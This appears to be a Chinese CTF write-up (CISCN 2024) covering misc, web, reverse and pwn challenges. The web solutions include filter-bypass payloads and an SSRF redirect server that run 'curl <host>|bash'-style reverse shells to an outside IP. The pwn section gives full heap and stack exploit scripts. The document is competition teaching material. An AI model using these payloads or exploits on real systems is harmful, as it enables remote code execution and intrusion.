misc Power Trajectory Diagram 先将npz解压,然后将功耗转成图片分析
1 2 3 4 5 6 7 8 9 10 from PIL import Imageimport numpy as np ind=np.load("index.npy" ) p=np.load("trace.npy" )for j,a in enumerate (p): img=Image.new("1" ,(5000 ,300 ),255 ) for i,v in enumerate (a): img.putpixel((i,int (v*100 )+150 ),0 ) img.save("output/%s.png" %j)
将四十张图片一组,找到不同的图片,然后在输入的表中找到索引
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import numpy as npprint (np.load('input.npy' ))''' ['a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#' 'a' 'b' 'c' 'd' 'e' 'f' 'g' 'h' 'i' 'j' 'k' 'l' 'm' 'n' 'o' 'p' 'q' 'r' 's' 't' 'u' 'v' 'w' 'x' 'y' 'z' '0' '1' '2' '3' '4' '5' '6' '7' '8' '9' '_' '!' '@' '#'] '''
对比后得到登录密码_ciscn_2024_
火锅链观光打卡 连接MetaMask后开始游戏
神秘文件 PPT第三页
UGF5dDQ6NmYtNDA=
解base64得到Payt4:6f-40
PPT第五页
备注中的字符串循环解密base64得到pArt5:5f-90d
左上角的UGFyVDY6ZC0y
base64解密得到ParT6:d-2
在ppt\slides\slide4.xml
中找到第七部分
ROT13然后base64 PART7=22b3
1 2 <p:cNvPr id ="4" name ="HRSFIQp9ZwWvZj==" /> <p:cNvPr id ="5" name ="ROT13(All)" />
在ppt\slideLayouts\slideLayout2.xml
或者幻灯片母版中可以看到第八部分
去除B,b,1,3后base64 paRt8:87e
1 2 3 <a:t > c1GFSbd3Dg6BODbdl</a:t > <a:t > Remove All </a:t > <a:t > ’B ’/’b’ /’1 ’/’3’</a:t >
在ppt\media\image57.jpg
底部存在密文,base64解密得到parT9:dee
在ppt\comments\comment1.xml
中得到第十部分
维吉尼亚后base64 PARt10:9}
1 2 3 4 5 6 7 <p:text > ZYWJbIYnFhq9</p:text > <p:text > What is this?</p:text > <p:text > Vigenere cipher is good!</p:text > <p:text > Aha,the key is</p:text > <p:text > Is what?</p:text > <p:text > furry</p:text > <p:text > 🆗</p:text >
在docProps\app.xml
得到加密方式,docProps\core.xml
得到密文和密钥
Bifid解密后base64 Part1:flag{e
1 2 3 4 <Manager > Bifid cipher</Manager > <dc:title > 这是一个标题 QFCfpPQ6ZymuM3gq</dc:title > <dc:creator > Administrator;Key:lanjing</dc:creator >
将ppt\embeddings\Microsoft_Word_Document.docx
改成zip解压
word\document.xml
得到第二部分
凯撒偏移10后base64 part2:675efb
1 2 3 4 5 6 7 8 <w:t > 这</w:t > <w:t > o</w:t > <w:t > ffset:10</w:t > <w:t > 里</w:t > <w:t > 原来似乎有什么,后来好像被小C</w:t > <w:t > aesar</w:t > <w:t > 抱走了!</w:t > <w:t > mQPinNS6Xtm1JGJs</w:t >
在PPT中打开宏编辑器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Sub crypto(sMessage, strKey) Dim kLen, x, y, i, j, temp Dim s(256 ), k(256 ) kLen = Len(strKey) For i = 0 To 255 s(i) = i k(i) = Asc(Mid (strKey, (i Mod kLen) + 1 , 1 )) Next j = 0 For i = 0 To 255 j = (j + k(i) + s(i)) Mod 256 temp = s(i) s(i) = s(j) s(j) = temp Next x = 0 y = 0 For i = 1 To 3072 x = (x + 1 ) Mod 256 y = (y + s(x)) Mod 256 temp = s(x) s(x) = s(y) s(y) = temp Next For i = 1 To Len(sMessage) x = (x + 1 ) Mod 256 y = (y + s(x)) Mod 256 temp = s(x) s(x) = s(y) s(y) = temp crypto = crypto & (s((s(x) + s(y)) Mod 256 ) Xor Asc(Mid (sMessage, i, 1 ))) & "," Next End Sub
rc4后base64得到PArt3:3-34
将一到十部分拼接在一起:flag{e675efb3-346f-405f-90dd-222b387edee9}
通风机 修补文件头,加上GJK
后用STEP 7 Micro/WIN
打开
符号表里注释的字符串base64得到flag
盗版软件 运行hackexe.exe会生成loader.exe
和output.png
stegsolve发现图片在红色通道每隔一位组合起来是zip,写脚本提取出来
1 2 3 4 5 6 7 8 9 10 from PIL import Image a=Image.open ('output.png' ) b=list (a.getdata()) e=[]for i in range (0 ,len (b),2 ): e.append(b[i][0 ]) f=open ('1.zip' ,'wb' ) f.write(bytes (e)) f.close()
解压后得到.b
文件
1 r()J$nEA'r!!#;^5u:HM1"'W(Mc*q[<_/-H(eBQ_+@m$P8kMf4a[h>1:e3=VX?9p=!\>H[_9!-P!Q!d_;F+/NMc([U69Id>ct7iR(^gBUKlR.n!/lA`!!!!iKtqeC8-.(6Mb"[QMa/CV!RTk-8H6e+1!)_>1l+['ejqO2X?j\E%7($238erL9ERs6#Xpc$FkBeaMa/OZ!RPFEM[W-EMa/7R!RO,j"Gf?G6!.Ga!ROtQ6!-EU6!?g3ll\Sls57!F=^"@S''W'hs8Q@r^3=WR?SaG;!'sXWM<7?[m%=@Z!(i%/8\>*)+T!Ns8F&Q@8VuM%M=EmC9Qqfgs4'f"l=^2!!!$.f\g`/F!<:Sa$:.up:e`[d9ejFSs1h0^_FX^B8;Y/K]'9g`i;_=uM8s?B6!-g;i^eq%6+WJ\FCG4"Ktqd;8cR(Yjlhm.!!#QBlju^Ei_;/LC'6h)8;[..\cUR+?iSZ/p],bC8;"i'?A\Aj5XAOd!"],16!-[7njkLW6+U0o;s"&08;Y5UM8r=Fa[q?Y8;Z%kM>9HK!nkY%s4)bs!.?7t6!%3&!'gMa6!.k%>!]_-0+Tc:eQ5m>\ohmb@K4kLs3Bjks8W*i!Q.GW`^kgWFgOI7k?)I!=hET4.LJIugAf\
对文件内容进行base85后丢到沙箱中
得到c2地址39.100.72.235
然后分析3842.dmp
使用strings搜索所有http或者ftp开头的链接
strings 3842.dmp | grep -iE "^(http|ftp|chrome|firefox).*\.(txt|xml|png|jpg|gif|zip|rar|7z|pdf|doc|docx|php|py|flag|exe)$" > 1.txt
然后去除 baidu.com xunfei.com 这种官方网站
根据题目描述在网上下了一个盗版软件
很明显是winhack.com
了
拼接后md5
winhack.com39.100.72.235
flag{096e8b0f9daf10869f013c1b7efda3fd}
p&p 利用溢出修改flag写入文件位置,然后访问/static/1即可获得flag
1 2 3 4 5 6 7 8 9 import requestsimport urllib.parse as parse url="http://8.147.131.163:39352/upload?name=" +'a' *(112 +16 +6 )+'a' *0x1e +'static/1' print (url) r=requests.get(url) url="http://8.147.131.163:39352/test" r=requests.get(url)print (r.text)
Tough_DNS
题目内容:DNS的世界充满了多变的字符,接下来我将直接给你答案:56 16 26 93 66 53 16 56 d2 03 26 93 56
一打开就是大量请求一串10的数据
提取出来,开头7个1,一眼二维码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 111111101100101111111 100000100100101000001 101110101010101011101 101110101001001011101 101110101110001011101 100000100000001000001 111111101010101111111 000000000110000000000 111100101010010011101 010010000010110111111 011001111000101100001 001110000110100001000 000101111001001100000 000000001111001110010 111111100100011010110 100000100011010000100 101110100001000010110 101110101110110100110 101110101011110101100 100000101110001111001 111111101111001111100
扫码得到15f9792dba5c
然后用tshark提取请求的txt字段
tshark -r Tough_DNS.pcapng -T json -e dns.txt -Y "dns.txt" > 1.txt
分析发现每隔一位刚好组成504B
,python提取转文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import json f=open ('1.txt' ) d=f.read() d=json.loads(d) e1='' e2='' for i in range (0 ,len (d),2 ): e1+=d[i]['_source' ]['layers' ]['dns.txt' ][0 ] e2+=d[i+1 ]['_source' ]['layers' ]['dns.txt' ][0 ]print (len (e1))print (len (e2)) f=open ('1.bin' ,'wb' ) f.write(bytes .fromhex(e1[1 :])) f.close() f=open ('2.bin' ,'wb' ) f.write(bytes .fromhex(e2[1 :])) f.close()
有两个文件,压缩包和PGP文件
解压密码是二维码的结果,解压得到secret.gpg
用PGPTool导入secret.gpg
然后解密提取出来的文件,密码在题目描述中
根据ascii码范围,前面应该是2-7,调整位置65 61 62 39 66 35 61 65 2d 30 62 39 65
,得到eab9f5ae-0b9e
得到flag{79830a47-faf7-4067-b585-145776f833cd}
web Simple_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set ('open_basedir' , '/var/www/html/' );error_reporting (0 );if (isset ($_POST ['cmd' ])){ $cmd = escapeshellcmd ($_POST ['cmd' ]); if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) { system ($cmd ); } }show_source (__FILE__ );?>
没有过滤 str_replace ,那么就可以通过str_replace来绕过这一大串过滤
比如 str_replace(z,count(),whozami);
就可以拿到 whoami
因为题目中是system,所以再套一层php -r
命令来反弹shell
poc
1 cmd=php -r system ((str_replace (z,count (),bazse64_decozde))(Y3VybCA0Ny45OS43Ny41MnxiYXNo));
反弹shell后目录中没有flag,通过 ps -aux 查看发现还有mysql服务
1 2 3 4 5 6 7 8 9 10 11 12 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2364 512 pts/0 Ss+ 03:49 0:00 tail -f /dev/null root 27 0.0 3.8 76568 20092 ? Ss 03:49 0:00 /usr/sbin/apache2 -k start www-data 30 0.0 1.7 76592 9192 ? S 03:49 0:00 /usr/sbin/apache2 -k start www-data 31 0.0 2.5 77160 13380 ? S 03:49 0:00 /usr/sbin/apache2 -k start www-data 32 0.0 1.7 76640 9192 ? S 03:49 0:00 /usr/sbin/apache2 -k start www-data 33 0.0 2.5 76844 13196 ? S 03:49 0:00 /usr/sbin/apache2 -k start www-data 34 0.0 2.4 76648 12804 ? S 03:49 0:00 /usr/sbin/apache2 -k start root 166 0.0 0.3 2420 1620 pts/0 S+ 03:49 0:00 /bin/sh /usr/bin/mysqld_safe mysql 279 0.0 15.9 1083992 83680 pts/0 Sl+ 03:49 0:00 /usr/sbin/mariadbd --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/run/mysqld/mysqld.sock root 280 0.0 0.2 5740 1056 pts/0 S+ 03:49 0:00 logger -t mysqld -p daemon error root 320 0.0 0.0 0 0 pts/0 Z+ 03:49 0:00 [debian-start] <defunct>
直接 mysql -u root -proot 连接,但是没有回显,需要用错误语句来触发报错回显
其他做法
%0a绕过
cmd=l%0as+/
通过hex2bin转换
cmd=php+-r+eval(hex2bin(substr(aa6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,2)));
easycms
REMOTE_ADDR绕不过去,肯定要打ssrf
后台地址被修改了,尝试爆破无果
在官方手册中找前台有远程请求的接口
最终找到一个二维码函数
1 index.php?s=api&c=api&m=qrcode&thumb=中间LOGO&text=内容&size=大小值&level=容错率
在自己的服务器上起一个flask,重定向到 http://127.0.0.1/ cmd就能执行命令了,用ctfshow的一键反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 from flask import * app = Flask(__name__) app.secret_key = '*************************' @app.route('/' ,methods=['GET' , 'POST' ] ) def index (): return redirect("http://127.0.0.1/flag.php?cmd=curl%20https://your-shell.com/47.99.77.52:1234%20|%20sh" )if __name__ == "__main__" : app.run(host='0.0.0.0' ,port=80 ,debug=True )
然后发包
http://eci-2ze9sa3j2fhr9odtqwsd.cloudeci1.ichunqiu.com/index.php?s=api&c=api&m=qrcode&thumb=http://47.99.77.52/
easycms_revenge 继续用上一题的payload,网页返回二维码生成失败
猜测对参数进行了校验,修改成手册中完整的请求/index.php?s=api&c=api&m=qrcode&thumb=http://47.99.77.52/&text=1&size=h&level=1
返回此图片不是一张可用的图片
,应该是对网页的返回值进行了检查
在官网下载 迅睿CMS开发框架 查看源代码(之前看的一直是github上的项目,后来发现竟然与题目用的不一样。。。)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 require_once CMSPATH.'Library/Phpqrcode.php' ;$file = WRITEPATH.'file/qrcode-' .md5 ($value .$thumb .$matrixPointSize .$errorCorrectionLevel ).'-qrcodpng' ;if (!IS_DEV && is_file ($file )) { $QR = imagecreatefrompng ($file ); } else { \QRcode ::png ($value , $file , $errorCorrectionLevel , $matrixPointSize , 3 ); if (!is_file ($file )) { exit ('二维码生成失败' ); } $QR = imagecreatefromstring (file_get_contents ($file )); if ($thumb ) { if (strpos ($thumb , 'https://' ) !== false && strpos ($thumb , '/' ) !== false && strpos ($thumb , 'http://' ) !== false ) { exit ('图片地址不规范' ); } $img = getimagesize ($thumb ); if (!$img ) { exit ('此图片不是一张可用的图片' ); } $code = dr_catcher_data ($thumb ); if (!$code ) { exit ('图片参数不规范' ); } $logo = imagecreatefromstring ($code ); $QR_width = imagesx ($QR ); $logo_width = imagesx ($logo ); $logo_height = imagesy ($logo ); $logo_qr_width = $QR_width / 4 ; $scale = $logo_width /$logo_qr_width ; $logo_qr_height = $logo_height /$scale ; $from_width = ($QR_width - $logo_qr_width ) / 2 ; imagecopyresampled ($QR , $logo , (int )$from_width , (int )$from_width , 0 , 0 , (int )$logo_qr_width (int )$logo_qr_height , (int )$logo_width , (int )$logo_height ); imagepng ($QR , $file ); }
因为有getimagesize,所以需要加个图片头
然后通过 dr_catcher_data 调用curl触发ssrf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if (function_exists ('curl_init' )) { $ch = curl_init ($url ); if (substr ($url , 0 , 8 ) == "https://" ) { curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, true ); } if ($ct ) { curl_setopt ($ch , CURLOPT_HTTPHEADER, array ( 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)' . 'Gecko/20100101 Firefox/40.0' , 'Accept: */*' , 'X-Requested-With: XMLHttpRequest' , 'Referer: ' .$url , 'Accept-Language: pt-BR,en-US;q=0.7,en;q=0.3' , )); curl_setopt ($ch , CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13)Gecko/20080311 Firefox/2.0.0.13' ); } ... }
总共会请求两次,第一次的时候返回真实图片就好了,第二次再重定向到127.0.0.1
根据条件修改flask中的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import * app = Flask(__name__) app.secret_key = '*************************' counter = 0 @app.route('/' ,methods=['GET' , 'POST' ] ) def main (): global counter if counter == 0 : counter += 1 return send_file('img.png' , mimetype='image/png' ) elif counter == 1 : counter = 0 return redirect("http://127.0.0.1/flag.php?cmd=curl%20https://your-shell.com/47.99.77.52:1234%20|%20sh" )if __name__ == "__main__" : app.run(host='0.0.0.0' ,port=80 ,debug=True )
反弹shell后执行readflag
reverse asm_re ida上扣下来的arm汇编代码,丢给gpt翻译一下得到加密逻辑,爆一下就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 lst = [0x1fd7 , 0x21b7 , 0x1e47 , 0x2027 , 0x26e7 , 0x10d7 , 0x1127 , 0x2007 , 0x11c7 , 0x1e47 , 0x1017 , 0x1017 , 0x11f7 , 0x2007 , 0x1037 , 0x1107 , 0x1f17 , 0x10d7 , 0x1017 , 0x1017 , 0x1f67 , 0x1017 , 0x11c7 , 0x11c7 , 0x1017 , 0x1fd7 , 0x1f17 , 0x1107 , 0x0f47 , 0x1127 , 0x1037 , 0x1e47 , 0x1037 , 0x1fd7 , 0x1107 , 0x1fd7 , 0x1107 , 0x2787 ]for i in range (38 ): for j in range (32 , 128 ): if (((j * 0x50 ) + 0x14 ) ^ 0x4D ) + 0x1e == lst[i]: print (chr (j), end='' ) break
androidso_re 有两个native函数用来获取key和iv,直接frida hook一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Java .perform (() => { let jni = Java .use ("com.example.re11113.jni" ); jni["getkey" ].implementation = function ( ) { console .log (`jni.getkey is called` ); let result = this ["getkey" ](); console .log (`jni.getkey result=${result} ` ); return result; }; jni["getiv" ].implementation = function ( ) { console .log (`jni.getiv is called` ); let result = this ["getiv" ](); console .log (`jni.getiv result=${result} ` ); return result; }; });
得到key=A8UdWaeq,iv=Wf3DLups,加密方式为DES-CBC
厨子解一下就好了
whereThel1b 输入随机字符观察加密后的数据,每三位加密得到4位数据,猜是base64,直接爆破即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import whereThel1bfrom string import hexdigitsimport itertools hexdigits += "lg{}-" combinations = ['' .join(i) for i in itertools.product(hexdigits, repeat=3 )] encry = [108 , 117 , 72 , 80 , 64 , 49 , 99 , 19 , 69 , 115 , 94 , 93 , 94 , 115 , 71 , 95 , 84 , 89 , 56 , 101 , 70 , 2 , 84 , 75 , 127 , 68 , 103 , 85 , 105 , 113 , 80 , 103 , 95 , 67 , 81 , 7 , 113 , 70 , 47 , 73 , 92 , 124 , 93 , 120 , 104 , 108 , 106 , 17 , 80 , 102 , 101 , 75 , 93 , 68 , 121 , 26 ] flag = bytearray (b"flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}" )for i in range (0 , 14 ): for combo in combinations: flag[i*3 :(i+1 )*3 ] = combo.encode() ret = whereThel1b.trytry(flag) if ret[i*4 :(i+1 )*4 ] == encry[i*4 :(i+1 )*4 ]: print (flag.decode()) break
gdb_debug 伪随机数,从当前时间往前爆破seed解密即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 unsigned char key[38 ] = { 0xBF , 0xD7 , 0x2E , 0xDA , 0xEE , 0xA8 , 0x1A , 0x10 , 0x83 , 0x73 , 0xAC , 0xF1 , 0x06 , 0xBE , 0xAD , 0x88 , 0x04 , 0xD7 , 0x12 , 0xFE , 0xB5 , 0xE2 , 0x61 , 0xB7 , 0x3D , 0x07 , 0x4A , 0xE8 , 0x96 , 0xA2 , 0x9D , 0x4D , 0xBC , 0x81 , 0x8C , 0xE9 , 0x88 , 0x78 }; void dump_data(unsigned char* data, size_t size, int type ) { for (size_t i = 0 ; i < size; i++) { if (type ) printf("%c" , data[i]); else printf("%d," , data[i]); } printf("\n\n" ); } void brute_force() { size_t length = 38 ; unsigned char enc_data[] = "congratulationstoyoucongratulationstoy" ; unsigned char result[40 ], shuffled_result[40 ], final_result[40 ]; unsigned char shuffle_table[40 ]; unsigned char xor_key1[38 ]; unsigned char xor_key2[38 ]; unsigned int current_time = 1715788800 ;//(unsigned int )time(NULL); printf("current time: %d\n" , current_time); for (unsigned int seed = current_time; seed >= 0 ; --seed) { srand(seed & 0xF0000000 ); // 异或 for (size_t i = 0 ; i < length; ++i) { xor_key1[i] = rand(); } // 生成表 for (size_t i = 0 ; i < length; ++i) { shuffle_table[i] = i; } // 打乱表 for (size_t k = length - 1 ; k; --k) { size_t rand_idx = rand() % (k + 1 ); unsigned char temp = shuffle_table[k]; shuffle_table[k] = shuffle_table[rand_idx]; shuffle_table[rand_idx] = temp; } // 异或 for (size_t i = 0 ; i < length; ++i) { xor_key2[i] = rand(); } // --------------------------------------------------- for (size_t i = 0 ; i < length; ++i) { final_result[i] = enc_data[i] ^ key[i]; } for (size_t i = 0 ; i < length; ++i) { final_result[i] ^= xor_key2[i]; } // 恢复打乱的数据 for (size_t i = 0 ; i < length; ++i) { shuffled_result[shuffle_table[i]] = final_result[i]; } for (size_t i = 0 ; i < length; ++i) { result[i] ^= xor_key1[i]; } if ( result[0 ] == 'f' && result[1 ] == 'l' && result[2 ] == 'a' && result[3 ] == 'g' && result[4 ] == '{' ) { dump_data(result, 38 , 0 ); } } }int main() { printf("magic........\n" ); brute_force(); }
pwn gostack func3中存在栈溢出,构造payload,但要小心rbp-0xc8与rbp-0xd0
1 2 3 4 5 6 7 8 9 10 from pwn import * p=remote("8.147.133.9" ,"39706" ) e=ELF("./gostack" ) payload=b"a" *0x100 +p64(0x4C0995 )+p64(0x1c8 ) payload+=b'a' *0xc0 +p64(0x4a0af6 ) p.sendlineafter(b"message :" ,payload) p.interactive()
orange_cat_diary free时存在uaf,edit时允许溢出8字节,使用house of orange将top chunk放进unsorted bin,即可获取libc地址 修改malloc_hook为gadget即可获取shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *def add (count,data=b'\n' ): pause() p.sendlineafter(b'choice' ,b'1' ) p.sendlineafter(b'content:' ,str (count).encode()) p.sendafter(b'content:' ,data)def show (): p.sendlineafter(b'choice' ,b'2' )def free (): p.sendlineafter(b'choice' ,b'3' )def edit (count,data=b'\n' ): p.sendlineafter(b'choice' ,b'4' ) p.sendlineafter(b'content' ,str (count).encode()) p.sendafter(b'content' ,data) pause() libc=ELF("./libc-2.23.so" ) p=remote("8.147.131.196" ,"32607" ) p.sendlineafter('name' ,'rotwill' ) add(0x68 ) edit(0x70 ,b'a' *0x68 +p64(0x1001 -0x70 )[:-1 ]) add(0x1000 ) add(0x68 ) show() p.readuntil(':' ) d=u64(p.read(8 ))print (hex (d)) libc.address=d-0x3c510a malloc_hook=libc.sym['__malloc_hook' ] gadget=libc.address+0xf03a4 print (hex (malloc_hook)) free() edit(8 ,p64(malloc_hook-0x23 )) add(0x68 ) add(0x68 ,b'a' *0x13 +p64(gadget)) p.sendlineafter(b'choice' ,b'1' ) p.sendlineafter(b'content:' ,"123" ) p.interactive()
easybuf 赛后出的
一个使用了protobuf的菜单题,只能申请0x30字节的chunk,输出的超过三次会关闭输出句柄,不过释放时存在uaf,所以可以利用fast bin构造tcache bin中的double free,之后就可以任意地址写了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 from pwn import *import varintimport sys num=0 def Mode (m ): return b'\x10' +varint.encode(m<<1 )def Ind (i ): return b'\x18' +varint.encode(i<<1 )def Spbuf (s ): if s: s=0x30 else : s=0 return b'\x20' +varint.encode(s<<1 )def Data (d ): return b'\x0a' +varint.encode(len (d))+ddef Spchr (s ): return b'\x28' +varint.encode(s)def calc (data ): mark=0xfff000000000 data1=data&mark result=0 result|=data1 for i in range (3 ): data1=((data1>>12 )^data)&(mark>>12 ) result|=data1 mark=mark>>12 return resultdef add (ind,data=b'\n' ): payload=Mode(1 )+Ind(ind)+Data(data)+Spbuf(0 )+Spchr(0 ) if num!=3 : p.sendafter('NT?\n' ,payload) else : p.send(payload)def free (ind ): payload=Mode(2 )+Ind(ind)+Data(b'test' )+Spbuf(0 )+Spchr(0 ) if num!=3 : p.sendafter('NT?\n' ,payload) else : p.send(payload)def none (): payload=Mode(0 )+Ind(0 )+Data(b'test' )+Spbuf(0 )+Spchr(0 ) if num!=3 : p.sendafter('NT?\n' ,payload) else : p.send(payload)def show (ind,isbuf=0 ,spchr=0 ): global num payload=Mode(3 )+Ind(ind)+Spbuf(isbuf)+Spchr(spchr)+Data(b'test' ) if num!=3 : p.sendafter('NT?\n' ,payload) p.readuntil('Content:' ) num+=1 else : p.send(payload) pause p=process(["./pwn" ]) libc=ELF("./libc.so.6" ) add(0 ,b"0" ) add(1 ,b'testtest' ) show(0 ) d=u64(p.readuntil(b'\n' ,drop=1 ).ljust(8 ,b'\x00' )) libc.address=d-0x21ac30 print (hex (libc.address)) stdout=libc.sym['_IO_2_1_stdout_' ] vtable=stdout+0xd0 print (hex (vtable)) obstack_jump=libc.address+0x2173c0 for i in range (6 ): add(i+2 )for i in range (7 ): free(i) show(1 ) d=u64(p.readuntil(b'\n' ,drop=1 ).ljust(8 ,b'\x00' )) chunk0=calc(d)print (f"{chunk0=: x} " ) free(7 ) system=libc.sym['system' ] chunk6=chunk0+0x1d60 chunk7=chunk0+0x2020 obstack=p64(system) obstack+=b'/bin/sh\x00' +p64(chunk7+8 ) payload=p64(0 )+p64(0x41 )+p64((chunk6>>12 )^(chunk7-0x10 )) add(6 ,payload)print (f"{chunk6=: x} " )print (f"{chunk7=: x} " ) free(7 ) add(8 ,p64((chunk7>>12 )^(chunk6)))print (hex (vtable))for i in range (7 ): add(0 ,obstack) free(6 ) gdb.attach(p) pause() add(0 ,p64(0 )+p64(0x40 )+p64(((chunk6+0x10 )>>12 )^(vtable))) payload1=p64(0 )+p64(obstack_jump)+p64(chunk7-0x38 ) add(2 ,payload1) add(2 ,payload1) p.interactive()
